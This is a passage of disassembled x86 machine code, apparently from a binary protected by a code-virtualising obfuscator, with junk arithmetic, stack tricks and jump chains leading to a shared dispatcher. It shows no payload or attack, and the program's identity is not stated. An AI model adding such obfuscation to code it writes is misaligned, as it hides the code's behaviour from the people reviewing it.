		jmp	loc_5AC00C
; ---------------------------------------------------------------------------


loc_5B8644:				; CODE XREF: sub_5A55E5+10357j
		xor	al, ch
		push	[esp+56h+var_58+2]
		pop	ecx
		push	edi
		sub	esp, 4
		mov	[esp+5Eh+var_60+2], esp
		jmp	loc_5B85EE
; ---------------------------------------------------------------------------


loc_5B8659:				; CODE XREF: sub_5A55E5+1392Bj
		mov	ecx, [esp+5Eh+var_60+2]
		add	esp, 4
		xor	ecx, 3CD65225h
		pop	ebx
		sub	ecx, 7059195Ch
		add	ecx, edi
		add	ecx, 7059195Ch
		jmp	loc_5AA9E8
; ---------------------------------------------------------------------------


loc_5B8679:				; CODE XREF: sub_5A55E5+E271j
		push	ebx
		mov	ebx, 318F3D0Bh
		jmp	loc_5AD2DE
; ---------------------------------------------------------------------------


loc_5B8684:				; CODE XREF: sub_5A55E5+14DA9j
		add	[esp+0], eax
		push	ebx
		jmp	loc_5B32F5
; ---------------------------------------------------------------------------


loc_5B868D:				; CODE XREF: sub_5A55E5+A146j
		add	ebp, edi
		push	79A2h
		jmp	loc_5B5872
; ---------------------------------------------------------------------------


loc_5B8699:				; DATA XREF: sub_5A55E5+42F7o
		mov	edx, [esp+14h+var_14]
		push	5A23h
		mov	[esp+18h+var_18], eax
		sub	esp, 4
		mov	[esp+1Ch+var_1C], esp
		add	[esp+1Ch+var_1C], 4
		mov	eax, [esp+1Ch+var_1C]
		add	esp, 4
		push	edi
		mov	edi, 18D47BBBh
		push	ebp
		jmp	loc_5B7734
; ---------------------------------------------------------------------------


loc_5B86C6:				; CODE XREF: sub_5A55E5+17A88j
		mov	[esp+20h+var_22+2], ecx
		mov	ecx, 78A972C4h
		add	eax, ecx
		mov	ecx, [esp+20h+var_22+2]
		add	esp, 4
		sub	eax, edi
		push	113Bh
		jmp	loc_5AEC4C
; ---------------------------------------------------------------------------


loc_5B86E5:				; CODE XREF: sub_5A55E5+8584j
		inc	edx
		sub	edx, 0FFFFFFFFh
		sub	edx, 848F8424h
		add	esi, edx
		pop	edx
		xor	eax, esi
		jmp	loc_5AEA83
; ---------------------------------------------------------------------------


loc_5B86F9:				; CODE XREF: sub_5A55E5+54D0j
		sub	eax, 76B81239h
		pop	edx
		mov	edi, [esp+2Ah+var_2A]
		jmp	loc_5B64FF
; ---------------------------------------------------------------------------


loc_5B8707:				; CODE XREF: sub_5A55E5+109D1j
		mov	ecx, edx
		pop	edx
		xor	ecx, edx
		mov	edx, [esp+22h+var_22]
		add	esp, 4
		and	eax, ecx
		jmp	loc_5BA6F9
; ---------------------------------------------------------------------------


loc_5B871C:				; CODE XREF: sub_5A55E5+AD34j
		mov	[esp+64h+var_64], eax
		jmp	loc_5B45D7
; ---------------------------------------------------------------------------


loc_5B8724:				; CODE XREF: sub_5A55E5+BB6Cj
		mov	[esp+1Ch+var_1C], ebp
		push	eax
		push	6216589Bh
		jmp	loc_5ADC46
; ---------------------------------------------------------------------------


loc_5B8732:				; CODE XREF: sub_5A55E5+19261j
		add	esi, 129848A1h
		or	esi, 5B6702D5h
		inc	esi
		not	esi
		xor	esi, 0EB174B50h
		inc	esi
		jmp	loc_5B4633
; ---------------------------------------------------------------------------


loc_5B874D:				; CODE XREF: sub_5A55E5+1269Bj
		push	3619BD7Fh
		push	[esp+22h+var_22]
		pop	ecx
		add	esp, 4
		xor	eax, ecx
		push	dword ptr [esp+0]
		pop	ecx
		sub	esp, 4
		mov	[esp+22h+var_22], eax
		mov	eax, esp
		push	6952h
		mov	[esp+26h+var_26], ebx
		jmp	loc_5BD413
; ---------------------------------------------------------------------------


loc_5B8777:				; CODE XREF: sub_5A55E5+49F8j
		and	edi, esi
		jmp	loc_5B3496
; ---------------------------------------------------------------------------


loc_5B877E:				; CODE XREF: sub_5A55E5+101DAj
		add	eax, edx
		pop	edx
		push	40CFh
		jmp	loc_5B6BD0
; ---------------------------------------------------------------------------


loc_5B878B:				; CODE XREF: sub_5A55E5+482Dj
		pop	ebp
		sub	ecx, 1C00CB52h
		jmp	loc_5B335B
; ---------------------------------------------------------------------------


loc_5B8797:				; CODE XREF: sub_5A55E5+BA11j
		add	[esp+18h+var_18], 4
		pop	ecx
		push	ebp
		mov	ebp, 61D677EFh
		or	ebp, 78C75FABh
		jmp	loc_5BA8F1
; ---------------------------------------------------------------------------


loc_5B87B0:				; CODE XREF: sub_5A55E5+8077j
		neg	ebx
		shr	ebx, 1
		sub	ebx, 0E74CDD57h
		mov	edx, ebx
		mov	ebx, [esp+28h+var_2A+2]
		add	esp, 4
		sub	eax, edx
		mov	edx, [esp+24h+var_26+2]
		add	esp, 4
		pop	ebx
		jmp	loc_5AFB48
; ---------------------------------------------------------------------------


loc_5B87D3:				; CODE XREF: sub_5A55E5+15A71j
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B87D8:				; CODE XREF: sub_5A55E5+F92Fj
		add	esp, 4
		xor	[esp+16h+var_14+2], ecx
		mov	ecx, [esp+16h+var_18+2]
		jmp	loc_5B4D2A
; ---------------------------------------------------------------------------


loc_5B87EA:				; CODE XREF: sub_5A55E5+C49Dj
		add	eax, 7F1A948Ch
		xor	ebp, eax
		pop	eax
		jmp	loc_5B65EC
; ---------------------------------------------------------------------------


loc_5B87F7:				; CODE XREF: sub_5A55E5+E111j
		sub	eax, 0E1720DBDh
		xor	ebp, eax
		pop	eax
		sub	ebp, 76722F9Dh
		push	ecx
		jmp	loc_5A9AE7
; ---------------------------------------------------------------------------


loc_5B880B:				; CODE XREF: sub_5A55E5+B189j
		pop	edx
		add	esi, 4
		xchg	esi, [esp+26h+var_26]
		jmp	loc_5AC306
; ---------------------------------------------------------------------------


loc_5B8817:				; DATA XREF: sub_5A55E5+42BBo
		mov	ax, word ptr [esp+14h+var_14]
		jmp	loc_5B0B07
; ---------------------------------------------------------------------------


loc_5B8820:				; CODE XREF: sub_5A55E5+6FBCj
		xchg	esi, [esp+0Eh+var_10+2]
		pop	esp
		mov	[esp+0Ah+var_C+2], eax
		push	esp
		mov	eax, [esp+0Eh+var_10+2]
		add	esp, 4
		add	eax, 4
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		xor	eax, [esp+0Ah+var_C+2]
		xor	[esp+0Ah+var_C+2], eax
		xor	eax, [esp+0Ah+var_C+2]
		pop	esp
		shr	eax, 10h
		jmp	loc_5AA89A
; ---------------------------------------------------------------------------


loc_5B884E:				; CODE XREF: sub_5A55E5+19BC3j
		push	0AE6h
		mov	[esp+0Ah+var_C+2], ebx
		mov	ebx, 66647FB6h
		jmp	loc_5BA219
; ---------------------------------------------------------------------------


loc_5B8860:				; CODE XREF: sub_5A55E5+1937Dj
		dec	eax
		jmp	loc_5AFD78
; ---------------------------------------------------------------------------


loc_5B8866:				; CODE XREF: sub_5A55E5+E3BEj
		push	ecx
		jmp	loc_5B19DF
; ---------------------------------------------------------------------------


loc_5B886C:				; CODE XREF: sub_5A55E5+D649j
		add	esi, 4
		add	esi, 2
		xchg	esi, [esp+40h+var_42+2]
		pop	esp
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B8881:				; CODE XREF: sub_5A55E5+FB1Bj
		pop	eax
		jmp	loc_5B3FB4
; ---------------------------------------------------------------------------


loc_5B8887:				; CODE XREF: sub_5A55E5+19271j
		add	eax, ebp
		pop	ebp
		sub	eax, 0A455035h
		jmp	loc_5AF3BA
; ---------------------------------------------------------------------------


loc_5B8894:				; DATA XREF: sub_5A55E5+41CBo
		pop	small word ptr [edx]
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B889C:				; CODE XREF: sub_5A55E5+16649j
		mov	edx, [esp+0Eh+var_10+2]
		add	esp, 4
		shl	ecx, 3
		and	ecx, 0FA53394h
		sub	ecx, 0E81138Ch
		add	eax, ecx
		push	[esp+0Ah+var_C+2]
		pop	ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0Eh+var_10+2]
		pop	esp
		add	eax, 4
		xor	eax, [esp+0Ah+var_C+2]
		xor	[esp+0Ah+var_C+2], eax
		jmp	loc_5B14FD
; ---------------------------------------------------------------------------


loc_5B88D6:				; CODE XREF: sub_5A55E5+192F6j
		add	edx, ebx
		add	edx, 6E3811F0h
		jmp	loc_5BEF98
; ---------------------------------------------------------------------------


loc_5B88E3:				; CODE XREF: sub_5A55E5+5A26j
		push	4DF76C21h
		pop	ebp
		or	ebp, 10BE091Dh
		shr	ebp, 5
		sub	ebp, 0E468D607h
		mov	ebx, ebp
		pop	ebp
		jmp	loc_5B4025
; ---------------------------------------------------------------------------


loc_5B8900:				; CODE XREF: sub_5A55E5+106C8j
		pop	ebp
		sub	ebp, 42983033h
		mov	edi, [esp+56h+var_58+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp+5Ah+var_5C+2]
		xor	[esp+5Ah+var_5C+2], ebx
		jmp	loc_5AE9FA
; ---------------------------------------------------------------------------


loc_5B8921:				; CODE XREF: sub_5A55E5+9268j
		pop	ecx
		add	edi, 0FFFFFFFFh
		shr	edi, 6
		or	edi, 61C0339Ah
		push	eax
		mov	eax, 19EE62C1h
		neg	eax
		push	0
		sub	[esp+52h+var_54+2], eax
		pop	eax
		jmp	loc_5B253C
; ---------------------------------------------------------------------------


loc_5B8944:				; CODE XREF: sub_5A55E5+86D3j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+26h+var_26]
		pop	esp
		push	ebp
		mov	ebp, 36EF39ADh
		add	ebp, 5D454FFBh
		xor	ebp, 65C172A0h
		neg	ebp
		xor	ebp, 44815E0Eh
		sub	eax, ebp
		pop	ebp
		sub	eax, esi
		add	eax, 4A8B5AF6h
		push	[esp+22h+var_22]
		jmp	loc_5BD37F
; ---------------------------------------------------------------------------


loc_5B8980:				; CODE XREF: sub_5A55E5+1055Cj
		add	edx, 4F19446Eh
		pop	ebp
		mov	ebp, edx
		jmp	loc_5AC89D
; ---------------------------------------------------------------------------


loc_5B898E:				; CODE XREF: sub_5A55E5+1667Bj
		push	ebp
		mov	ebp, 2
		jmp	loc_5B51F4
; ---------------------------------------------------------------------------


loc_5B8999:				; CODE XREF: sub_5A55E5+D293j
		add	edi, ebx
		jmp	loc_5B3372
; ---------------------------------------------------------------------------


loc_5B89A0:				; CODE XREF: sub_5A55E5+12525j
		inc	eax
		jmp	loc_5BB128
; ---------------------------------------------------------------------------


loc_5B89A6:				; CODE XREF: sub_5A55E5+DC78j
		pop	ecx
		push	eax
		sub	esp, 4
		mov	[esp+2Ah+var_2A], edx
		jmp	loc_5B8052
; ---------------------------------------------------------------------------


loc_5B89B3:				; CODE XREF: sub_5A55E5+8DA0j
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_5B6D62
; ---------------------------------------------------------------------------


loc_5B89C1:				; CODE XREF: sub_5A55E5+5B51j
		mov	[esp+28h+var_2A+2], ebp
		mov	ebp, 2
		add	eax, ebp
		pop	ebp
		xor	eax, [esp+24h+var_26+2]
		jmp	loc_5B6D81
; ---------------------------------------------------------------------------


loc_5B89D4:				; CODE XREF: sub_5A55E5+46CEj
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B89D9:				; DATA XREF: sub_5A55E5+424Bo
		mov	cx, word ptr [esp+14h+var_14]


loc_5B89DD:				; DATA XREF: sub_5A55E5+31E8r
		jmp	loc_5AABE5
; ---------------------------------------------------------------------------


loc_5B89E2:				; CODE XREF: sub_5A55E5+199AEj
		mov	ecx, 0E002C54h
		add	ecx, 14BE3EB6h
		inc	ecx
		sub	ecx, 0E49E17A9h
		mov	edx, ecx
		mov	ecx, [esp+14h+var_14]
		add	esp, 4
		dec	edx
		jmp	loc_5AEA6D
; ---------------------------------------------------------------------------


loc_5B8A05:				; CODE XREF: sub_5A55E5+A935j
		pop	ebp
		push	ecx
		push	edx
		jmp	loc_5BCF55
; ---------------------------------------------------------------------------


loc_5B8A0D:				; CODE XREF: sub_5A55E5+EA7Ej
		push	412h
		jmp	loc_5BC638
; ---------------------------------------------------------------------------


loc_5B8A17:				; CODE XREF: sub_5A55E5+48D1j
		mov	[esp+56h+var_58+2], edi
		jmp	loc_5AB0FA
; ---------------------------------------------------------------------------


loc_5B8A1F:				; CODE XREF: sub_5A55E5+919Dj
		mov	[esp+0], ebp
		push	[esp+1Eh+var_1C+2]
		jmp	loc_5B77A7
; ---------------------------------------------------------------------------


loc_5B8A2B:				; CODE XREF: sub_5A55E5+D625j
		sub	eax, 5AFEA0C9h
		mov	ebp, eax
		pop	eax
		jmp	loc_5B0C33
; ---------------------------------------------------------------------------


loc_5B8A38:				; CODE XREF: sub_5A55E5+6F56j
		add	esp, 4
		push	edx
		jmp	loc_5B6168
; ---------------------------------------------------------------------------


loc_5B8A41:				; CODE XREF: sub_5A55E5+AC41j
		neg	esi
		add	esi, 2BF48EE4h
		add	edi, esi
		pop	esi
		add	edi, 0BAF4A63h
		jmp	loc_5AB2C0
; ---------------------------------------------------------------------------


loc_5B8A57:				; CODE XREF: sub_5A55E5+15BE2j
		pop	esi
		sub	esi, 391E74E3h
		pop	ebp
		jmp	loc_5BAC78
; ---------------------------------------------------------------------------


loc_5B8A64:				; CODE XREF: sub_5A55E5+76B1j
		bt	[esp+42h+var_42], eax
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B8A6E:				; CODE XREF: sub_5A55E5+F2C6j
		shr	edx, 5
		xor	edx, 3C633E15h
		shr	edx, 5
		xor	edx, 67380263h
		sub	edi, edx
		pop	edx
		jmp	loc_5BD260
; ---------------------------------------------------------------------------


loc_5B8A88:				; CODE XREF: sub_5A55E5+7E3Bj
		mov	eax, 1B43831h
		mov	ebx, 0F3874BCh
		xor	ebx, eax
		jmp	loc_5B2A93
; ---------------------------------------------------------------------------


loc_5B8A99:				; CODE XREF: sub_5A55E5+D426j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+28h+var_2A+2]
		pop	esp
		div	ecx
		sub	esp, 4
		mov	[esp+28h+var_2A+2], edx
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+28h+var_2A+2]
		mov	esp, [esp+28h+var_2A+2]
		mov	[esp+28h+var_2A+2], ecx
		push	esp
		mov	ecx, [esp+2Ch+var_2E+2]
		add	esp, 4
		jmp	loc_5B4E4F
; ---------------------------------------------------------------------------


loc_5B8ACF:				; CODE XREF: sub_5A55E5+124CFj
		push	esi
		mov	esi, 29885BE6h
		neg	esi
		shl	esi, 4
		and	esi, 9582266h
		jmp	loc_5BA352
; ---------------------------------------------------------------------------


loc_5B8AE5:				; CODE XREF: sub_5A55E5+15C4Aj
		mov	ebx, 49122709h
		jmp	loc_5BD455
; ---------------------------------------------------------------------------


loc_5B8AEF:				; CODE XREF: sub_5A55E5+18AB3j
		push	cx
		mov	cx, 4FC0h
		sub	bp, cx
		pop	cx
		jmp	loc_5B84EE
; ---------------------------------------------------------------------------


loc_5B8AFF:				; CODE XREF: sub_5A55E5+A22Bj
		dec	edx
		not	edx
		shl	edx, 1
		add	edx, 1FCDA456h
		or	ecx, edx
		pop	edx
		jmp	loc_5BEAE0
; ---------------------------------------------------------------------------


loc_5B8B12:				; CODE XREF: sub_5A55E5+154B4j
		pop	edx
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xor	eax, [esp+2Eh+var_2E]
		xor	[esp+2Eh+var_2E], eax
		xor	eax, [esp+2Eh+var_2E]
		mov	esp, [esp+2Eh+var_2E]
		add	ebx, 23205E5Bh
		sub	ebx, eax
		jmp	loc_5B7412
; ---------------------------------------------------------------------------


loc_5B8B37:				; DATA XREF: sub_5A55E5+4367o
		push	[esp+14h+var_14]
		push	[esp+18h+var_18]
		pop	ecx
		push	3A3Fh
		mov	[esp+1Ch+var_1C], ebx
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		mov	ecx, 40E63BDCh
		not	ecx
		jmp	loc_5B92CF
; ---------------------------------------------------------------------------


loc_5B8B5B:				; CODE XREF: sub_5A55E5+FA03j
		mov	esi, esp
		add	esi, 4
		push	ebp
		mov	ebp, 66EA1089h
		not	ebp
		neg	ebp
		jmp	loc_5B4D5F
; ---------------------------------------------------------------------------


loc_5B8B72:				; CODE XREF: sub_5A55E5+106E3j
		not	esi
		push	esi
		not	[esp+20h+var_22+2]
		pop	esi
		or	esi, 32790F5Eh
		add	esi, 0AA85AA6Bh
		add	ebp, esi
		pop	esi
		jmp	loc_5BA5D6
; ---------------------------------------------------------------------------


loc_5B8B8D:				; CODE XREF: sub_5A55E5+D36Bj
		add	edi, ebx
		jmp	loc_5BEDC8
; ---------------------------------------------------------------------------


loc_5B8B94:				; CODE XREF: sub_5A55E5+C337j
		sub	ebp, 0A02BFB2Eh
		xor	edi, ebp
		pop	ebp
		mov	ebp, [esp+1Ah+var_1C+2]
		add	esp, 4
		mov	ecx, 375120F3h
		push	esi
		mov	esi, 5B091080h
		sub	ecx, 3C562414h
		jmp	loc_5BBFA2
; ---------------------------------------------------------------------------


loc_5B8BBC:				; CODE XREF: sub_5A55E5+1843Ej
		xor	ebx, 18231F66h
		jmp	loc_5AD1D1
; ---------------------------------------------------------------------------


loc_5B8BC7:				; CODE XREF: sub_5A55E5+12AB0j
		push	6ABDh
		jmp	loc_5BE5B5
; ---------------------------------------------------------------------------


loc_5B8BD1:				; CODE XREF: sub_5A55E5+7621j
		mov	word ptr [esp+1Ah+var_1C+2], dx
		push	2172h
		mov	[esp+0], edi
		push	ebp
		mov	bp, 177Eh
		not	bp
		push	di
		jmp	loc_5AC6C0
; ---------------------------------------------------------------------------


loc_5B8BEC:				; CODE XREF: sub_5A55E5+184BAj
		push	1DFB030Dh
		jmp	loc_5BE065
; ---------------------------------------------------------------------------


loc_5B8BF6:				; CODE XREF: sub_5A55E5+47E8j
		xor	[esp+4Ah+var_4A], edx
		jmp	loc_5ADDAA
; ---------------------------------------------------------------------------


loc_5B8BFE:				; CODE XREF: sub_5A55E5+954Ej
		pop	ebp
		sub	ebx, 1A7973F6h
		add	ebx, eax
		add	ebx, 1A7973F6h
		mov	eax, [esp+20h+var_22+2]
		jmp	loc_5AD513
; ---------------------------------------------------------------------------


loc_5B8C15:				; CODE XREF: sub_5A55E5+AA67j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		push	[esp+18h+var_14]
		pop	esi
		pop	[esp+18h+var_18]
		pop	esp
		add	edx, 736E4E10h
		jmp	loc_5BD605
; ---------------------------------------------------------------------------


loc_5B8C36:				; DATA XREF: sub_5A55E5+42FBo
		lodsw
		push	si
		mov	si, 63F7h
		or	si, 5C7Fh
		or	si, 30DCh
		xor	si, 16AFh
		sub	ax, 7A92h
		push	cx
		jmp	loc_5B04E1
; ---------------------------------------------------------------------------


loc_5B8C58:				; CODE XREF: sub_5A55E5+19A6Aj
		add	ebx, 0FFFFFFFFh
		xor	ebx, 6C3577D0h
		push	eax
		mov	eax, 78855F78h
		add	eax, 4C726E23h
		jmp	loc_5B06CA
; ---------------------------------------------------------------------------


loc_5B8C71:				; CODE XREF: sub_5A55E5+13ADCj
		add	edi, esi
		push	eax
		mov	eax, 18BC23FAh
		add	edi, eax
		pop	eax
		sub	edi, 6FEB13B0h
		jmp	loc_5AABF1
; ---------------------------------------------------------------------------


loc_5B8C87:				; CODE XREF: sub_5A55E5+75A0j
		add	edx, ecx
		push	eax
		mov	eax, 247232ECh
		sub	edx, eax
		jmp	loc_5B3962
; ---------------------------------------------------------------------------


loc_5B8C96:				; CODE XREF: sub_5A55E5+F290j
		inc	esi
		neg	esi
		or	esi, 0ADF3CD5h
		jmp	loc_5BF01C
; ---------------------------------------------------------------------------


loc_5B8CA4:				; CODE XREF: sub_5A55E5+122BBj
		mov	ebp, 7A5642F6h
		sub	ebp, 24DE6B5Bh
		jmp	loc_5B540E
; ---------------------------------------------------------------------------


loc_5B8CB4:				; CODE XREF: sub_5A55E5+72A8j
		add	esi, edx
		jmp	loc_5BD3D4
; ---------------------------------------------------------------------------


loc_5B8CBB:				; CODE XREF: sub_5A55E5+163DBj
		pop	esi
		xchg	esi, ebx
		shl	ebx, 1
		shl	ebx, 3
		add	ebx, 640C8042h
		mov	ebp, 6827183Bh
		push	edx
		mov	edx, 0B79F39C8h
		add	ebp, edx
		pop	edx
		xor	ebp, ebx
		jmp	loc_5B350C
; ---------------------------------------------------------------------------


loc_5B8CDE:				; CODE XREF: sub_5A55E5+1471Bj
		add	edi, 1
		add	edi, 13E42EEFh
		jmp	loc_5B5941
; ---------------------------------------------------------------------------


loc_5B8CEC:				; CODE XREF: sub_5A55E5+1632Cj
		add	esi, 6FBF35E5h
		jmp	loc_5B10CE
; ---------------------------------------------------------------------------


loc_5B8CF7:				; CODE XREF: sub_5A55E5+112B2j
		mov	dl, ch
		jmp	loc_5AB7BE
; ---------------------------------------------------------------------------


loc_5B8CFE:				; CODE XREF: sub_5A55E5+FC6Ej
		push	eax
		push	[esp+30h+var_2E+2]
		pop	eax
		jmp	loc_5A9F7A
; ---------------------------------------------------------------------------


loc_5B8D09:				; CODE XREF: sub_5A55E5+7F37j
		add	ebx, 40DE6E57h
		add	ebx, ecx
		sub	ebx, 40DE6E57h
		pop	ecx
		xchg	ebx, [esp+18h+var_18]
		jmp	loc_5B509D
; ---------------------------------------------------------------------------


loc_5B8D20:				; CODE XREF: sub_5A55E5+100E9j
		add	edx, 0ECFC1D22h
		sub	ebp, edx
		jmp	loc_5B631A
; ---------------------------------------------------------------------------


loc_5B8D2D:				; CODE XREF: sub_5A55E5+16E57j
		pop	edi
		pop	[esp+2Ch+var_2E+2]
		mov	esp, [esp+28h+var_2A+2]
		mov	[esp+28h+var_2A+2], esi
		push	ebp
		push	8970EAh
		pop	ebp
		push	esi
		jmp	loc_5BE11A
; ---------------------------------------------------------------------------


loc_5B8D44:				; CODE XREF: sub_5A55E5+14D75j
		pop	esi
		add	[esp+2Ch+var_2A+2], 1A633B09h
		add	[esp+2Ch+var_2A+2], ebp
		sub	[esp+2Ch+var_2A+2], 1A633B09h
		pop	ebp
		pop	eax
		push	edx
		mov	edx, 30166BDCh
		jmp	loc_5BB56D
; ---------------------------------------------------------------------------


loc_5B8D66:				; CODE XREF: sub_5A55E5+110CDj
		push	222h
		mov	[esp+1Ch+var_1C], esi
		mov	esi, esp
		add	esi, 4
		push	edi
		mov	edi, 4
		sub	esi, edi
		jmp	loc_5AEC7D
; ---------------------------------------------------------------------------


loc_5B8D83:				; CODE XREF: sub_5A55E5+125CAj
		pop	eax
		add	eax, edi
		jmp	loc_5AA342
; ---------------------------------------------------------------------------


loc_5B8D8B:				; CODE XREF: sub_5A55E5+BCA6j
		inc	dl
		jmp	loc_5AC69C
; ---------------------------------------------------------------------------


loc_5B8D92:				; CODE XREF: sub_5A55E5+1238Cj
		sub	esp, 4
		mov	[esp+56h+var_58+2], esi
		mov	esi, 1B5210CCh
		xor	[esp+56h+var_54+2], esi
		pop	esi
		mov	eax, [esp+52h+var_54+2]
		add	esp, 4
		push	edx
		jmp	loc_5B9026
; ---------------------------------------------------------------------------


loc_5B8DB1:				; CODE XREF: sub_5A55E5+9E46j
		push	1097h
		mov	[esp+2Ch+var_2E+2], edx
		mov	edx, 2DA67066h
		xor	edx, 44327457h
		push	esi
		mov	esi, 3332709Dh
		sub	ecx, esi
		jmp	loc_5B71E2
; ---------------------------------------------------------------------------


loc_5B8DD1:				; CODE XREF: sub_5A55E5+45BCj
		add	ebp, 522A1016h
		mov	edi, [esp+14h+var_14]
		add	esp, 4
		xor	ebp, [esp+10h+var_10]
		jmp	loc_5AAEBC
; ---------------------------------------------------------------------------


loc_5B8DE5:				; DATA XREF: sub_5A55E5+41DBo
		lodsb
		sub	al, 9
		jmp	loc_5AEF7C
; ---------------------------------------------------------------------------


loc_5B8DED:				; CODE XREF: sub_5A55E5+8F66j
		add	dl, 74h
		xor	cl, dl
		pop	edx
		jmp	loc_5B7B88
; ---------------------------------------------------------------------------


loc_5B8DF8:				; CODE XREF: sub_5A55E5+13A0Dj
		push	6D70h
		mov	[esp+16h+var_18+2], ebp
		jmp	loc_5BCC3A
; ---------------------------------------------------------------------------


loc_5B8E05:				; CODE XREF: sub_5A55E5+FB9Ej
		add	edx, ecx
		push	ecx
		mov	ecx, 300D4E8Dh
		add	edx, ecx
		pop	ecx
		push	ebp
		push	ebx
		mov	ebx, 6687615Ah
		mov	ebp, 0E56B6310h
		sub	ebp, ebx
		mov	ebx, [esp+36h+var_36]
		add	esp, 4
		sub	edx, ebp
		pop	ebp
		jmp	loc_5B3AC0
; ---------------------------------------------------------------------------


loc_5B8E2C:				; CODE XREF: sub_5A55E5+6B7Dj
		mov	[esp+92h+var_94+2], ebx
		jmp	loc_5BEB4B
; ---------------------------------------------------------------------------


loc_5B8E34:				; CODE XREF: sub_5A55E5+98FAj
		push	ebx
		jmp	loc_5BE379
; ---------------------------------------------------------------------------


loc_5B8E3A:				; CODE XREF: sub_5A55E5+16896j
		add	bl, dl
		pop	edx
		push	ax
		mov	ah, 6Eh
		and	bl, ah
		mov	ax, word ptr [esp+32h+var_32]
		add	esp, 2
		sub	bl, 0F2h
		sub	al, bl
		pop	ebx
		pop	dx
		push	dx
		mov	dh, 0F1h
		sub	al, dh
		jmp	loc_5AD890
; ---------------------------------------------------------------------------


loc_5B8E60:				; DATA XREF: sub_5A55E5+431Fo
		push	[esp+14h+var_14]
		pop	eax
		push	7FD4h
		mov	[esp+18h+var_18], edx
		push	esp
		pop	edx
		push	0DD9h
		mov	[esp+1Ch+var_1C], ebp
		push	edx
		jmp	loc_5ACD5C
; ---------------------------------------------------------------------------


loc_5B8E7C:				; CODE XREF: sub_5A55E5+9469j
		mov	esp, [esp+28h+var_2A+2]
		bt	word ptr [esp+28h+var_2A+2], ax
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B8E8A:				; CODE XREF: sub_5A55E5+B1BBj
		sub	ebx, ecx
		jmp	loc_5B5FBB
; ---------------------------------------------------------------------------


loc_5B8E91:				; CODE XREF: sub_5A55E5+13AF0j
		push	edx
		mov	edx, 710D0135h
		or	edx, 7F2D7E9Dh
		dec	edx
		and	edx, 717B31AFh
		jmp	loc_5ABBC6
; ---------------------------------------------------------------------------


loc_5B8EA9:				; CODE XREF: sub_5A55E5+BB9Cj
		neg	ah
		xor	ah, 0F2h
		or	ah, 3Eh
		not	ah
		push	edx
		jmp	loc_5BB9F8
; ---------------------------------------------------------------------------


loc_5B8EB9:				; DATA XREF: sub_5A55E5+42CBo
		pop	dword ptr [edx]
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B8EC0:				; CODE XREF: sub_5A55E5+E3A0j
		sub	eax, 0C77C608Fh
		add	esi, eax
		pop	eax
		push	ecx
		mov	ecx, 3B371363h
		dec	ecx
		sub	ecx, 5EF5968h
		not	ecx
		push	0
		jmp	loc_5BE7DA
; ---------------------------------------------------------------------------


loc_5B8EE1:				; CODE XREF: sub_5A55E5+19DD7j
		mov	[esp+44h+var_46+2], ecx
		mov	ecx, esp
		jmp	loc_5B3A56
; ---------------------------------------------------------------------------


loc_5B8EEB:				; CODE XREF: sub_5A55E5+4752j
		add	eax, 61920734h
		add	eax, ebx
		jmp	loc_5BE584
; ---------------------------------------------------------------------------


loc_5B8EF7:				; CODE XREF: sub_5A55E5+60BFj
		add	esp, 4
		push	edi
		mov	edi, 0BF35C75Ah
		xor	ebx, edi
		mov	edi, [esp+36h+var_36]
		add	esp, 4
		push	ebx
		xor	[esp+36h+var_36], 3CD65225h
		jmp	loc_5B8659
; ---------------------------------------------------------------------------


loc_5B8F15:				; CODE XREF: sub_5A55E5+DCD5j
		mov	dh, 4Dh
		add	bl, dh
		pop	edx
		jmp	loc_5AFEAC
; ---------------------------------------------------------------------------


loc_5B8F1F:				; CODE XREF: sub_5A55E5+9251j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+52h+var_54+2]
		pop	esp
		mov	[esp+4Eh+var_50+2], ecx
		jmp	loc_5ACF7A
; ---------------------------------------------------------------------------


loc_5B8F37:				; CODE XREF: sub_5A55E5+FE98j
		push	ebx
		mov	ebx, 41FA0599h
		mov	edx, ebx
		pop	ebx
		sub	eax, edx
		pop	edx
		jmp	loc_5B991D
; ---------------------------------------------------------------------------


loc_5B8F48:				; CODE XREF: sub_5A55E5+C3F5j
		shr	edi, 7
		push	ebp
		mov	ebp, 73A50623h
		sub	ebp, 0FFFFFFFFh
		add	ebp, 1
		push	esi
		mov	esi, 737BE62Fh
		jmp	loc_5B11FD
; ---------------------------------------------------------------------------


loc_5B8F68:				; CODE XREF: sub_5A55E5+C3ADj
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		push	edi
		mov	edi, 5E2E4D71h
		jmp	loc_5B2F4A
; ---------------------------------------------------------------------------


loc_5B8F7C:				; CODE XREF: sub_5A55E5+1635Fj
		mov	esp, [esp+0Ch+var_C]
		jmp	loc_5B34F3
; ---------------------------------------------------------------------------


loc_5B8F84:				; CODE XREF: sub_5A55E5+12880j
		pop	ebx
		mov	eax, edi
		pop	edi
		sub	eax, 72A925B5h
		xor	eax, 23AC58EDh
		xor	eax, 4D242FE2h
		jmp	loc_5B79AD
; ---------------------------------------------------------------------------


loc_5B8F9C:				; CODE XREF: sub_5A55E5+11DB4j
		pop	ecx
		jmp	loc_5B1A0F
; ---------------------------------------------------------------------------


loc_5B8FA2:				; CODE XREF: sub_5A55E5+10ECEj
		push	esi
		jmp	loc_5BE882
; ---------------------------------------------------------------------------


loc_5B8FA8:				; CODE XREF: sub_5A55E5+101F4j
